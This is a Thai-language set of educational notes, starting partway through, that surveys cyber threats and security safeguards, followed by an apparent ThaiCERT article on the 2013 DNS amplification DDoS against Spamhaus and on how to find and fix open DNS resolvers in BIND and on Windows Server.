ตัวข้อมูลก็จะไปยัง hacker โดยปกติ Phishing จะใช้จิตวิทยาในการหลอกผู้ใช้ให้หวาดกลัวว่าจะมีเหตุการณ์ใดๆเกิดขึ้น ถ้าไม่ทำตามขั้นตอนที่ให้มา
War Driving
การ Scan หาตำแหน่งของ Access Point ที่เปิดใช้ Wi-Fi อย่างไม่ระมัดระวังเรื่องความปลอดภัย เช่น มีการใช้ค่า Default SSID, ไม่มีการ FIX ค่า MAC Address และ ไม่มีการเข้ารหัสด้วย WEB key เป็นต้น ทำให้แฮกเกอร์สามารถเข้ามาใช้งานระบบ Wireless LAN ของเราได้อย่างง่ายดาย
Evil twin
การทำงาน hacker จะทำการสร้าง address point จากนั้นจะทำการล่อให้ผู้ใช้เข้ามาลงทะเบียน และก็ดักจับข้อมูลเราไป
Pharming
วิธีการคือ hacker จะเข้าไปเปลี่ยนค่า IP Address ถึงแม้ว่าผู้ใช้จะเข้า address ถูกต้องแต่มันก็จะทำการ redirect ไปยังอีกเว็บหนึ่ง เพื่อดักจับข้อมูลของเรา เป็นการกระทำผิดตามกฎหมาย
Click fraud
ใช้วิธีนี้ผ่านทาง search engine marketing ส่วนใหญ่เป็นการสร้างเว็บให้ผู้ใช้ตั้งใจเข้าไปทำธุรกรรม อาจเกิดจากคู่แข่งหรือเจ้าของเว็บที่ต้องการสร้างรายได้จากโฆษณา โดยเฉพาะเว็บที่มีโฆษณาปรากฏอยู่
Cyber-bullying
เป็นอีกหนึ่งอาชญากรรมที่ใช้บ่อยในวัยรุ่น คือ การแพร่กระจายข้อมูลให้บุคคลอื่นเสียชื่อเสียง โดยยิ่งเฉพาะในปัจจุบัน social media เป็นช่องทางที่ทำให้สิ่งเหล่านี้เกิดขึ้นได้ง่าย ในต่างประเทศมีแม้แต่เคสที่มีการฆ่าตัวตายแล้วนำไปเผยแพร่เป็นสิ่งที่พบเห็นได้ง่ายในปัจจุบัน
Social Engineering
เป็นอีกวิธีที่ hackers ใช้กัน คือ การสร้างความสัมพันธ์กับคนในองค์กรเพื่อให้คนในองค์กรเผยข้อมูลออกมาหรืออาจทำการปลอมแปลงตัวเองเข้าไป เช่น ในภาพยนตร์ต่างประเทศเรื่อง catch me if you can และมี ต.ย.ในประเทศอเมริกา มีเคสที่นักศึกษาปลอมตัวเป็นอาจารย์แล้วโทรไปบอกเจ้าหน้าที่ให้เปลี่ยนเกรด
Espionage or Trespass
เป็นวิธีการหนึ่งในการขโมยความลับทางการค้า ด้วยอุบาย โดยให้พนักงานทำทีว่าถูกไล่ออกจากบริษัท แล้วไปสมัครกับบริษัทเป้าหมาย แล้วขโมยความลับของบริษัทเป้าหมายมา
Identity Theft
Identity Theft คือ การขโมยข้อมูลส่วนบุคคล hackers จะนำเอาข้อมูลจากเหยื่อไปสร้าง identity ใหม่ เช่น การเอาไป apply credit card และเอาข้อมูลไปใช้แทนเหยื่อได้
Sabotage or Vanalism
Cyberactivist เป็นรูปแบบของการใช้เทคโนโลยีเพื่อที่จะไปทำการเปลี่ยนแปลงข้อมูลบนเว็บไซด์เพื่อที่จะทำให้องค์กรขายหน้า ในกรณีนี้ hackers ไปเปลี่ยนแปลงข้อความหน้าเว็บ มี ต.ย. เว็บที่โดนคือเว็บของกระทรวง ICT
Internet Hoaxes
หลายคนอาจบอกว่า Hoax ไม่ใช่ไวรัส แต่โดยวิธีการและการแพร่กระจายของ Hoax นี้อาจสรุปไดว่าเป็นไวรัสประเภทหนึ่ง ลักษระของไวรัส Hoax นี้จะมาในรูปแบบของ E-mail หลอกลวง โดยมีลักษณะคล้ายจดหมายลูกโซ่ โดยอาจผ่านทาง E-mail หรือทางห้องสนทนา (Chat Room) ซึ่งก่อนให้เกิดความสับสน วุ่นวาย ทั้งนี้ขึ้นกับความสามารถในการเขียนรูปแบบจดหมายให้ดูน่าสนใจ ตื้นเต้น ของผู้สร้างข่าวขึ้นมา โดยอาจมีการอ้างอิงถึงบริษัทใหญ่ๆ หรือที่มาที่ทำให้ผู้รับเชื่อถือ
Cyberwar
เป็นการกระทำของรัฐ-ชาติ เพื่อแทรกซึมไปยังระบบคอมพิวเตอร์หรือเครือข่าย มีจุดประสงค์เพื่อทำลายหรือสร้างความแตกแยก เป็นเหตุให้เกิดสงคราม ที่กลายเป็นเรื่องอันตรายต่อการปฏิบัติการทหาร ทั้งภาคพื้นดิน อากาศ ทะเล และทางอากาศ
Cyberterrorism
การใช้ internet เป็นเครื่องมือในการก่อการร้าย ประมาณว่าถ้ามีสงครามโลกครั้งที่ 3 จะเป็นสงครามที่อยู่บน online มากกว่า offline ซึ่งการก่อการร้ายในอนาคตอาจจะไม่มุ่งเน้นไปทางกายภาพ แต่อาจจะมุ่งเน้นไปในเชิงเศรษฐกิจ เช่นระบบการเงินการธนาคารที่มีการเชื่อมต่อกับ internet ซึ่งผลกระทบจากความเสียหายที่เกิดขึ้นจะสูงกว่า ซึ่งการทำ cyber war บางประเทศใช้ในการโจมตีระบบเครือข่ายของกันและกัน
Technological Safeguard
วิธีการที่จะป้องกันภัยคุกคามที่เกิดขึ้นกับไอที แรกสุดที่องค์กรต้องทำในเรื่องของการป้องกันความเสี่ยงคือ จะต้องมีการกำหนดหรือระบุผู้ที่มีสิทธิในการเข้าถึงข้อมูล แน่นอนว่าข้อมูลในองค์กรไม่ควรจะเป็นข้อมูลที่เปิดให้ทุกคนสามารถเข้าถึงได้
กระบวนการในการพิสูจน์ตัวบุคคลในระบบไอที
Authentication เป็นกระบวนการในการพิสูจน์ตัวบุคคล เป็นการกำหนดและระบุผู้มีสิทธิเข้าถึงข้อมูล และพิสูจน์ให้ได้ว่าเป็นผู้มีสิทธินั้นจริง มีอยู่ 3 รูปแบบหลักๆ คือ
• Something you have พิสูจน์จากสิ่งที่เรามี เช่น smart card
• Something you know พิสูจน์จากสิ่งที่เรารู้ เช่น password
• Something you are พิสูจน์จากสิ่งที่เราเป็น เช่น fingerprints, retina scan
Biometrics
คือ การใช้ส่วนต่างๆ ของร่างกายในการระบุตัวตน เช่น
• Fingerprints : ลายนิ้วมือ
• Retinal patterns : สแกนม่านตา
• Body weight : น้ำหนักตัว
• อื่นๆ
เป็นกระบวนการในการพิสูจน์ตัวบุคคลที่รวดเร็ว และมีความปลอดภัยสูง
Protecting a Wireless Network
ในเรื่องของ wireless ตรงนี้จะเป็นช่องโหว่ในเรื่องของความปลอดภัยค่อนข้างเยอะ เนื่องจากว่าข้อมูลถูกส่งผ่านทางอากาศ สามารถจะถูก interface ได้ง่ายกว่าในรูปแบบที่มีสาย ในส่วนของ wireless อย่างแรกสุด ควรจะมีการใช้ security protocol ในส่วนของ wifi ซึ่งในปัจจุบันก็ใช้มาตรฐานช่วยคือ WPA หรือ Wire protected access ตอนนี้มี version 2 แล้ว หลายคนไม่มีมาตรฐานตัวนี้ก็ทำให้คนอื่นเข้าไปใช้งานได้
อีกสิ่งหนึ่งที่สามารถจะลดความเสี่ยงในเรื่องของ wifi ได้ คือ ควรจะมีการระบุที่เครื่องคอมพิวเตอร์ที่สามารถเข้าถึง access point ได้ ที่สำคัญคือไม่ควรจะมีการ broadcast สัญญาณ wifi ถ้าในระดับบ้านอาจารย์แนะนำว่าเราควรจะเปลี่ยน password ในส่วนของ access point เวลาเราซื้อ access point มาจะมีซอง password ซึ่งเราควรต้องเปลี่ยนเพราะตอนซื้อ password จะมาพร้อมกับ manufacture หลายคนไม่เปลี่ยน password จะเป็นความเสี่ยงอย่างหนึ่ง
กระบวนการในการรักษาความลับของข้อมูล ระหว่างมีการนำส่ง ผ่านทางระบบเครือข่าย หรือระบบ internet กระบวนการนี้เราเรียก Encryption
Encryption
Encryption มีใช้มาตั้งแต่โบราณจนถึงปัจจุบันและบนระบบ internet ด้วย เป็นกระบวนการสร้างความลับของข้อมูลในระหว่างที่มีการนำส่ง หรือจะเรียกว่าการเข้ารหัสก็ได้ ซึ่งตรงกันข้ามกับ Decryption ตัวอย่างเช่น
ต้องการส่งข้อความว่า I love you ระบบจะทำการสร้างสิ่งที่เรียกว่า Algorithm โดยที่ใน Algorithm ก็จะมีการตกลงว่าถ้าเขียนคำว่า I ก็จะแทนด้วยเลข b, l แทนด้วย 7, o แทนด้วย e, v แทนด้วย d, e แทนด้วย c, y แทนด้วย 2, และ uแทนด้วย 9 เป็นต้น
คำว่า I love you เราเรียกว่าเพียร์เท็กซ์ คือกระบวนการที่ทุกคนจะสามารถอ่านออก จะสามารถรู้ได้ ด้านคนส่งและผู้รับปลายทางก็จะมีการแชร์สิ่งที่เรียกว่า Algorithm เข้าไป encryption หลังจาก encrypt แล้ว Algorithm ก็จะกลายเป็นรหัส 2ye75bx1 เป็นต้น รหัสนี้เราเรียกว่า cipher text หลังจากที่ใช้ Algorithm ในการ encrypt แล้ว คำว่า I love you ก็กลายเป็น cipher text แล้ว messenger ใส่เข้าไปในจดหมาย หาก messenger เปิดดู ก็ไม่สามารถอ่านได้ ไม่สามารถเข้าใจได้ว่ามันคืออะไร เพราะ Algorithm ถูกแชร์ระหว่างต้นทางและผู้รับปลายทางเท่านั้น messenger ก็ได้ cipher text ไป ระหว่างทางถ้ามีการปล้นเพื่อเปิดดูจดหมายก็จะไม่สามารถอ่านออกได้เพราะไม่รู้ว่า Algorithm คืออะไร ถ้าสมมุติว่า messenger อยู่รอดและสามารถจะส่งข้อความนี้ไปให้ผู้รับปลายทาง ข้อความที่เป็น cipher text ถึงมือผู้รับปลายทางก็จะนำ Algorithm ที่แชร์กับเจ้าชายไปผ่านกระบวนการที่เรียกว่า Decryption หลังจากที่ decrypt แล้ว cipher text ตัวนี้ก็กลายเป็นเพียร์เท็กซ์ ว่า I love you เหมือนเดิม ผู้รับปลายทางก็จะสามารถอ่านข้อความนี้ออก
Key แบ่งเป็น 2 ประเภท
1. Symmetric secret key system : ผู้ส่งและผู้รับใช้ key เดียวกัน แต่ข้อจำกัด คือ การจัดการกับ key เนื่องจากจำนวน key จะเยอะมาก
2. Public key technology : เป็น Asymmetric key system ซึ่ง ที่ใช้ private key 1 ตัว มาใช้ในการควบคุม public key หลายๆ ตัว
Firewall
Firewall เป็น hardware หรือ software ก็ได้ โดยส่วนใหญ่จะเป็น software หลักๆ ของ firewall ก็คือการทำ filter package ที่มีการนำเข้าและออก ระหว่างระบบเครือข่าย เช่น สามารถที่จะทำการ block application, block package ได้ เช่น ที่ทำงานบางคนสามารถใช้ MSN ได้ บางคนสามารถเข้าเว็บไซด์นั้นได้ แต่บางคนเข้าไม่ได้ เป็นต้น เพราะมันมีการตั้งค่า setting ไว้ใน firewall
Firewall เองก็มีหลายระดับ ขึ้นอยู่กับการให้ความสำคัญกับความปลอดภัยของแต่ละข้อมูลองค์กรถ้าเป็น firewall ใน intranet จะค่อนข้างมีกฎเกณฑ์ที่เข้มงวดหน่อยมากกว่าในส่วนของ web server
Antivirus software
เป็น Software ที่เก็บฐานข้อมูล virus code ซึ่งจะสแกนดูว่า match กับ virus signature หรือไม่ ถ้าพบว่า match หรือสแกนเจอก็จะลบไวรัสนั้นทิ้ง หรือแยกส่วนของไวรัสนั้นออกไปไม่นำมาประมวลผล ซึ่งควรจะมีการ up date virus signature ใน software อยู่เสมอ
Audit Control Software
Audit Control Software จะเกี่ยวข้องกับ มาตรา 26 เป็น softwareที่นำมาใช้ในการเก็บ log file ซึ่ง software นี้จะทำการ record activity ทั้งหลายที่เกิดขึ้นในระบบเครือข่าย หลายๆ องค์กร มีการเก็บสำรองข้อมูลที่เรียกว่าการทำ Back up ซึ่งเป็นการลดความเสี่ยง
Protecting information resource (Risk)
Risk คือ โอกาสที่ข้อมูลจะเกิดความเสียหาย
Risk management คือ การระบุ ควบคุม และการทำให้ความเสียหายที่อาจจะเกิดขึ้นนั้นน้อยลง
Risk analysis คือ การประเมินมูลค่าความเสียหาย เปรียบเทียบกับการประเมินมูลค่าของการป้องกันความเสียหาย
Risk assessment คือการประเมินความเสี่ยง ซึ่งมีอยู่ 4 ขั้นตอน
1. Exposure : การระบุความเสี่ยง
2. Probability : การระบุโอกาสที่จะเกิดความเสี่ยงนั้น
3. Loss range : การระบุค่าความเสียหายที่จะเกิดขึ้น
4. Expected annual loss : การคำนวณค่าความเสียหายที่อาจเกิดขึ้น
Risk analysis คือ การวิเคราะห์ค่าความเสี่ยงว่าคุ้มค่าต่อการลงทุนในการป้องกันความเสี่ยงนั้นๆ หรือไม่
1. Risk reduction ใช้เมื่อ cost of loss > cost of protection
2. Risk acceptance ใช้เมื่อ cost of loss < cost of protection
3. Risk transfer ใช้เมื่อ cost of loss > cost of transfer
Security triangle
ระบบที่มีความปลอดภัยสูง จะมีค่าใช้จ่ายก็สูงตาม
ระบบที่มีความปลอดภัยสูง จะมีความง่ายต่อการใช้งานก็น้อยลง
ดังนั้นองค์กรควรหาจุดสมดุลระหว่างความปลอดภัย ค่าใช้จ่าย และความง่ายต่อการใช้งาน

DDoS: DNS Amplification Attack


ตั้งแต่ช่วงกลางเดือนมีนาคม 2556 ที่ผ่านมา มีการรายงานข่าวใหญ่เกี่ยวกับระบบของหน่วยงาน Spamhaus Project ซึ่งเป็นหน่วยงานไม่แสวงหากำไร ที่มีภารกิจหลักในการจัดการปัญหาข้อมูลไม่พึงประสงค์บนอินเทอร์เน็ต โดยที่ระบบของ Spamhaus นั้นถูกโจมตีในรูปแบบ Distributed Denial-of-Service (DDoS) เป็นระยะ ๆ ส่งผลให้เว็บไซต์ spamhaus.org และบริการอีเมลของ Spamhaus ไม่สามารถใช้งานได้ชั่วขณะ จนถึงปัจจุบันยังไม่มีกลุ่มบุคคลใดออกมาประกาศว่าเป็นผู้อยู่เบื้องหลังการโจมตีในครั้งนี้ แต่มีการสันนิษฐานว่าเหตุการณ์ดังกล่าวอาจมีจุดเริ่มต้นมาจากเหตุขัดแย้งระหว่าง Spamhaus และ Cyberbunker ซึ่งเป็นผู้ให้บริการ Hosting ในประเทศเนเธอร์แลนด์ เมื่อ Spamhaus ทำการบล็อก IP address ของเซิร์ฟเวอร์ที่อยู่ภายใต้การดูแลของ Cyberbunker เนื่องจากสงสัยว่าเซิร์ฟเวอร์เหล่านั้นเป็นฐานในการส่งสแปม ทำให้เกิดการตอบโต้การกระทำดังกล่าว
เบื้องหลังของการโจมตี
สิ่งที่น่าสนใจเกี่ยวกับเหตุการณ์นี้ นอกจากจะเป็นหนึ่งในการโจมตีประเภท DDoS ที่รุนแรงที่สุดเท่าที่มีการค้นพบมาแล้ว ประเด็นเกี่ยวกับเทคนิคที่ใช้ในการโจมตีก็เป็นอีกสิ่งหนึ่งที่ควรนำมาเป็นกรณีศึกษา โดยพบว่าผู้ที่ทำการโจมตีในครั้งนี้ ใช้เทคนิคที่เรียกว่า DNS amplification attack (มีอีกชื่อหนึ่งว่า DNS reflection attack) ดังรูปที่ 1 ซึ่งเป็นวิธีการส่ง DNS request ไปยัง DNS resolver ที่ต่าง ๆ โดยปลอมแปลง IP address ต้นทางในแพ็คเก็ตเป็น IP address ของระบบเป้าหมาย ทำให้ DNS response ที่ตอบกลับมาจาก DNS resolver นั้น ถูกส่งไปยังระบบเป้าหมายแทนที่จะเป็นผู้โจมตี ยิ่งมีการส่ง DNS request ในทำนองนี้เป็นจำนวนมากเท่าใด ก็จะมี DNS response ตอบกลับไปยังระบบเป้าหมายมากยิ่งขึ้น จนกระทั่งถึงจุดหนึ่งที่ทำให้ Network bandwidth ของระบบเป้าหมายมีไม่เพียงพอต่อปริมาณข้อมูลจำนวนมากที่ได้รับ ส่งผลให้ระบบเป้าหมายไม่สามารถให้บริการกับผู้ใช้รายอื่น ๆ ได้
Pp2013te002-1.jpg
รูปที่ 1 รูปแบบโดยทั่วไปของการโจมตีด้วยเทคนิค DNS amplification attack
สาเหตุสำคัญที่ทำให้การโจมตีด้วยเทคนิคนี้มีประสิทธิภาพคือ ขนาดของ Response ที่มักใหญ่กว่า Request มาก โดย Request ที่ส่งไปยัง DNS resolver นั้น ถึงแม้ว่าจะมีขนาดข้อมูลโดยทั่วไปที่เล็กมากเพียงไม่กี่สิบไบต์ แต่ Response ที่ตอบกลับมาอาจมีขนาดใหญ่กว่า Request ที่ส่งไปถึงหลายสิบเท่าได้ ดังนั้นผู้โจมตีจึงไม่จำเป็นต้องมี Botnet [2] ขนาดใหญ่ไว้ในครอบครองเพื่อใช้สั่งการโจมตีระบบเป้าหมายพร้อม ๆ กัน ก็สามารถทำให้การโจมตีนั้นมีความรุนแรงอย่างมากได้ อย่างไรก็ตาม ต้นตอของปัญหาที่แท้จริงที่เอื้ออำนวยให้ผู้ไม่หวังดีสามารถใช้เทคนิคการโจมตีแบบ DNS amplification attack ได้ผลเป็นอย่างดีจนเป็นที่นิยมในปัจจุบันนั้นคือ Open DNS resolver ซึ่งหมายถึงเซิร์ฟเวอร์หรืออุปกรณ์เครือข่ายใด ๆ ก็ตามที่เปิดให้บริการ DNS และมีการตั้งค่าอย่างไม่เหมาะสม โดยอนุญาตให้ผู้บุคคลทั่วไปสามารถใช้บริการได้ แทนที่จะจำกัดการใช้งานให้เฉพาะกับผู้ที่ได้รับอนุญาต ผู้ไม่หวังดีจึงสามารถค้นหา Open DNS resolver ที่มีอยู่ทั่วไปในอินเทอร์เน็ต และใช้ประโยชน์จากมันในการโจมตีระบบอื่น ๆ ด้วยเทคนิคดังกล่าวได้อย่างง่ายดาย
Pp2013te002-2.jpg
รูปที่ 2 จำนวน IP address ที่ไม่ซ้ำของ Open DNS resolver ที่ไทยเซิร์ตได้รับรายงานในแต่ละเดือน ระหว่างเดือน ก.ย. 2555 ถึงเดือน มี.ค. 2556
จากข้อมูลที่ไทยเซิร์ตได้รับรายงานจากหน่วยงานต่างประเทศตั้งแต่เดือนกันยายน 2555 จนถึงเดือนมีนาคม 2556 พบว่ามีจำนวน IP address ของ Open DNS resolver ที่อยู่ในประเทศไทยเฉลี่ยประมาณวันละ 1,000 หมายเลข และมีจำนวน IP address ที่ไม่ซ้ำรวมกันสูงถึงหลักหมื่นต่อเดือนดังรูปที่ 2 ส่วนรายงานผลการสำรวจของเว็บไซต์ dns.measurement-factory.com เมื่อวันที่ 16 เมษายน 2556 [3] พบว่า จำนวน Open DNS resolver ที่อยู่ภายใต้การดูแลของหน่วยงานในประเทศไทยมีจำนวน 947 หมายเลขจาก 59 หน่วยงานซึ่งประกอบไปด้วยผู้ให้บริการอินเทอร์เน็ต หน่วยงานภาครัฐและเอกชน และสถาบันการศึกษา ในขณะที่ CloudFlare ผู้ที่ให้บริการ Content Delivery Network (CDN) กับ Spamhaus ได้ตรวจสอบการโจมตีที่เกิดขึ้นกับ Spamhaus และพบว่า Open DNS resolver ในประเทศไทยที่ถูกใช้เป็นฐานในการโจมตีระบบของ Spamhaus มีจำนวนทั้งสิ้นถึง 898 หมายเลข [4] ทำให้สามารถสันนิษฐานในเบื้องต้นได้ว่า Open DNS resolver ส่วนใหญ่ในประเทศไทยนั้นถูกผู้ไม่หวังดีนำไปใช้เป็นเครื่องมือในการโจมตีผู้อื่นแล้ว ดังนั้นปัญหาที่เกิดจากการตั้งค่าบริการ DNS ที่ไม่เหมาะสมนั้น ถือเป็นเรื่องสำคัญที่ควรดำเนินการแก้ไขอย่างเร่งด่วน
การตรวจสอบหา Open DNS resolver
วิธีการตรวจสอบเบื้องต้นว่ามีอุปกรณ์ในเครือข่ายของตนที่เป็น Open DNS resolver หรือไม่ สามารถตรวจสอบได้จากหลากหลายเว็บไซต์ดังนี้
1. ตรวจสอบจากเว็บไซต์ openresolverproject.org
สามารถตรวจสอบได้โดยการระบุ IP subnet ที่ต้องการตรวจสอบในหน้าเว็บหลัก หากมี IP address ใดที่ถูกพิจารณาว่าเป็นหมายเลขของอุปกรณ์ที่มีลักษณะเป็น Open DNS resolver หมายเลขดังกล่าวก็จะปรากฏอยู่ในตารางผลลัพธ์ดังรูปที่ 3
Pp2013te002-3.jpg
รูปที่ 3 ผลลัพธ์ที่ได้จากการค้นหา Open DNS resolver จาก IP subnet ที่ระบุ
2. ตรวจสอบจากเว็บไซต์ dns.measurement-factory.com
เว็บไซต์ dns.measurement-factory.com นอกจากจะมีรายงานผลการสำรวจของ Open DNS resolver แล้ว ยังเปิดบริการให้กับบุคคลทั่วไปสามารถตรวจสอบหา Open DNS resolver ได้อีกหลายช่องทาง โดยช่องทางแรกของเว็บไซต์นี้เป็นการตรวจสอบหาว่า IP address ใดบ้างที่ถูกพิจารณาว่าเป็น Open DNS resolver [6] เริ่มจากการระบุ IP address หรือ IP subnet ที่ต้องการตรวจสอบ จากนั้นเว็บไซต์จะขึ้นรายการอีเมลที่ต้องการรับผลการตรวจสอบ ซึ่งอีเมลเหล่านี้จะได้มาจากข้อมูลที่ระบุไว้ใน Whois record ของ IP address หรือ IP subnet ที่ทำการตรวจสอบ เมื่อเลือกอีเมลที่ต้องการแล้วจะพบกับหน้าต่างยืนยันการส่งผลการตรวจสอบ ดังรูปที่ 4
Pp2013te002-4.jpg
รูปที่ 4 หน้าต่างยืนยันการส่งผลการตรวจสอบไปยังอีเมลที่เลือกไว้
อีกช่องทางหนึ่งของเว็บไซต์ dns.measurement-factory.com เป็นการตรวจสอบหา Open DNS resolver จากรายการของ IP address [7] โดยหลังจากที่ระบุรายการของ IP address ที่ต้องการตรวจสอบแล้ว จะได้ผลลัพธ์แสดงทางหน้าเว็บไซต์ หากผลลัพธ์ในคอลัมน์ Status เป็น open แสดงว่าเครื่องที่มี IP address ดังกล่าวเข้าข่ายที่จะเป็น Open DNS resolver ดังรูปที่ 5
Pp2013te002-5.jpg
รูปที่ 5 หน้าต่างแสดงผลลัพธ์ของการตรวจสอบบนเว็บไซต์
3. ตรวจสอบจากเว็บไซต์ dnsinspect.com
เป็นเว็บไซต์หนึ่งที่ใช้สำหรับตรวจสอบการทำงานของ DNS server อย่างละเอียด โดยเมื่อระบุโดเมนเนมผ่านทางหน้าเว็บหลักแล้ว เว็บไซต์ดังกล่าวจะประมวลผลและจัดทำรายงานแสดงผลการตรวจสอบในแต่ละส่วน ซึ่งรวมถึงส่วนที่ตรวจสอบว่า DNS server อนุญาตให้ทำการ Query แบบ Recursive ได้หรือไม่ดังรูปที่ 6
Pp2013te002-6.jpg
รูปที่ 6 ส่วนหนึ่งของรายงานผลการตรวจสอบที่ได้จากเว็บไซต์ dnsinspect.com
นอกจากการตรวจสอบด้วยตนเองจากเว็บไซต์ต่าง ๆ แล้ว Team Cymru ซึ่งเป็นหน่วยงานวิจัยทางด้าน Information security ยังเปิดบริการให้กับผู้ดูแลระบบสามารถขอรับรายงานประจำวันของ Open DNS resolver ที่อยู่ภายในเครือข่ายของตนได้อีกด้วย
การแก้ไขการตั้งค่าของ DNS server
สำหรับวิธีแก้ไขการตั้งค่า DNS server เพื่อป้องกันไม่ให้ถูกนำไปใช้ในทางที่ไม่ดี และบรรเทาความเสียหายที่เกิดจากการโจมตีในเบื้องต้นนั้น มีอยู่ด้วยกันหลายแนวทางดังที่จะกล่าวต่อไปนี้
BIND เวอร์ชัน 9 ขึ้นไป
ในกรณีของ DNS server ที่ตั้งอยู่ในระบบขององค์กรที่ทำหน้าที่เป็น Caching name server ให้จำกัดการอนุญาตการทำ Recursion เฉพาะ Request ที่ส่งมาจากกลุ่มผู้ใช้ในระบบเครือข่ายเดียวกัน โดยมีตัวอย่างการตั้งค่าดังรูปที่ 7
Pp2013te002-7.jpg
รูปที่ 7 ตัวอย่างการตั้งค่าเพื่อจำกัดการอนุญาตการทำ Recursion ในโปรแกรม BIND
จากรูปที่ 7 ในส่วนของ acl จะมีการสร้างรายการที่ชื่อว่า trustednet ซึ่งประกอบไปด้วย IP subnet ของเครือข่ายภายใน (ในที่นี้คือ 10.10.1.0/24 และ 10.10.2.0/24) และในของ view เป็นการเพิ่มเงื่อนไขให้ IP subnet ในรายการดังกล่าวสามารถทำ Recursion ได้ ส่วน IP address หรือ IP subnet อื่น ๆ นอกเหนือจากที่ระบุไว้จะไม่สามารถทำการ Query ใด ๆ ได้ดังที่ระบุในส่วนของ options สำหรับการตั้งค่าจริงนั้น ผู้ดูแลระบบสามารถเพิ่มการตั้งค่าลงในไฟล์ named.conf โดยใช้ตัวอย่างจากรูปที่ 7 ได้เลย เพียงแค่เปลี่ยนค่าในส่วนของ acl ให้เป็น IP address, IP subnet หรือชื่อของ acl รายการอื่นที่เป็นของระบบเครือข่ายภายในเท่านั้น
สำหรับกรณีที่ DNS server ทำหน้าที่เป็น Authoritative name server ให้เพิ่มการตั้งค่าในไฟล์ named.conf เพื่อปิดการทำงาน Recursion ดังรูปที่ 8
Pp2013te002-8.jpg
รูปที่ 8 ตัวอย่างการตั้งค่าเพื่อปิดการทำงาน Recursion ในโปรแกรม BIND
ทั้งนี้ผู้อ่านสามารถศึกษารายละเอียดเพิ่มเติมเกี่ยวกับแนวทางการตั้งค่าในโปรแกรม BIND ให้มีความมั่นคงปลอดภัยได้จากเอกสารของ Team Cymru [10]
Windows Server 2003 ขึ้นไป
ในการตั้งค่าเพื่อปิดการทำงาน Recursion ผ่านทาง GUI นั้น มีขั้นตอนดังต่อไปนี้
เปิดโปรแกรม DNS Manager โดยไปที่ Start > All Programs > Administrative Tools > DNS
คลิกขวาบนเซิร์ฟเวอร์ที่ต้องการแล้วเลือก Properties
ในหน้าต่างใหม่ เลือกแท็บ Advanced แล้วติ๊กเครื่องหมายถูกที่รายการ Disable recursion (also disables forwarders) แล้วคลิก Apply ดังรูปที่ 9
Pp2013te002-9.jpg
รูปที่ 9 ตัวอย่างการตั้งค่าเพื่อปิดการทำงาน Recursion บน Windows Server
สำหรับการตั้งค่าเพื่อปิดการทำงาน Recursion ผ่านทาง Command-line สามารถทำได้ผ่านโปรแกรม Command Prompt โดยใช้คำสั่ง dnscmd ดังรูปแบบต่อไปนี้
dnscmd <ip-address>|<hostname> /Config /NoRecursion {0|1}
โดย Parameter ตัวแรกหลังจากคำสั่ง dnscmd ให้ระบุ IP address หรือ Hostname ของ DNS server ส่วน Parameter ตัวสุดท้ายให้ระบุเป็นเลข 0 หรือ 1 โดยเลข 0 หมายถึงเปิดการทำงาน Recursion ส่วนเลข 1 หมายถึงปิดการทำงาน Recursion เมื่อใช้คำสั่งดังกล่าวจะได้ผลลัพธ์ดังรูปที่ 10
Pp2013te002-10.jpg
รูปที่ 10 ตัวอย่างผลลัพธ์ที่ได้จากการใช้คำสั่ง dnscmd
นอกจากการตั้งค่าเพื่อปิดหรือจำกัดการทำงาน Recursion แล้ว ผู้ดูแลระบบยังสามารถทำการตั้งค่า DNS Response Rate Limiting (RRL) ซึ่งเป็นความสามารถที่อนุญาตให้ผู้ดูแลระบบ สามารถกำหนดจำนวนครั้งที่ DNS server สามารถตอบผลลัพธ์ที่เหมือนกันกลับไปยังผู้ร้องขอรายหนึ่ง ๆ ได้มากที่สุดในแต่ละวินาที ทำให้ช่วยลดปริมาณข้อมูลที่ DNS server ตอบกลับไปยังผู้ร้องขอได้ในระดับหนึ่ง ซึ่งหมายถึงการช่วยลดผลกระทบที่เกิดจากการนำ DNS server ไปใช้ในการโจมตีด้วยเทคนิค DNS amplification attack ดังที่อธิบายไว้ในตอนแรก ทั้งนี้ผู้ที่ต้องการกำหนดค่าดังกล่าวกับ DNS server ที่ตนเองดูแลอยู่นั้น ควรมีความรู้เข้าใจ รวมถึงสามารถตรวจสอบและแก้ไขการทำงานของโปรแกรมที่ทำหน้าที่ให้บริการ DNS ได้เป็นอย่างดี เนื่องจากการใช้ความสามารถนี้ มีความจำเป็นที่จะต้องอัพเกรดเวอร์ชันหรือติดตั้งแพทช์ของโปรแกรม ซึ่งอาจส่งผลกระทบต่อการทำงานของระบบได้ในกรณีที่ติดตั้งไม่ถูกวิธี ปัจจุบันความสามารถดังกล่าวเริ่มมีให้เลือกใช้ในหลายโปรแกรมแล้ว ไม่ว่าจะเป็น BIND, Knot DNS หรือ NSD และกำลังอยู่ในขั้นตอนการพัฒนาเพื่อรองรับโปรแกรมตัวอื่น ๆ เช่นกัน ผู้ที่สนใจสามารถศึกษาวิธีการติดตั้งและตั้งค่า Rate limiting ได้จากเว็บไซต์ Red Barn
บทวิเคราะห์
การโจมตีแบบ Distributed Denial of Service (DDoS) มีจุดประสงค์เพื่อให้ระบบหยุดการทำงานไม่สามารถใช้เครื่องคอมพิวเตอร์ได้ ทั้งระบบหรือเครื่องเดียวๆ เคยมีเหตุการโจมตีแบบนี้เป็นตัวอย่างจริงมากับประเทศเกาหลีใต้ เมื่อปี 2552 ในเดือนนี้หล่ะ มีแฮกเกอร์ยิง DDoS ถล่มเครือข่ายคอมพิวเตอร์และเว็บไซต์หน่วยงานรัฐบาลเกาหลีใต้ แฮกเกอร์ไม่ทราบสัญชาติได้ส่งข้อมูลเข้าไป ทำลายระบบเน็ตเวิร์ก จนเว็บไซต์ใช้งานไม่ได้นานกว่า 4 ชั่วโมง เว็บไซต์เกาหลีใต้ที่ถูกโจมตีไม่ใช่เว็บไซต์ทั่วไป แต่เป็นเว็บไซต์ของกระทรวงกลาโหม เว็บไซต์ทำเนียบประธานาธิบดี ในไทยก็มีถ้าใครเป็นนักเล่นคอมพิวเตอร์และเป็นคอการเมือง จะรู้กันในช่วงที่ปัญหาการเมืองกำลังคุกรุ่นที่ผ่านมาเว็บ ICT ก็เคยถูกโจมตีจนระบบล่มไม่สามารถใช้งานได้อยู่หลายชั่วโมง
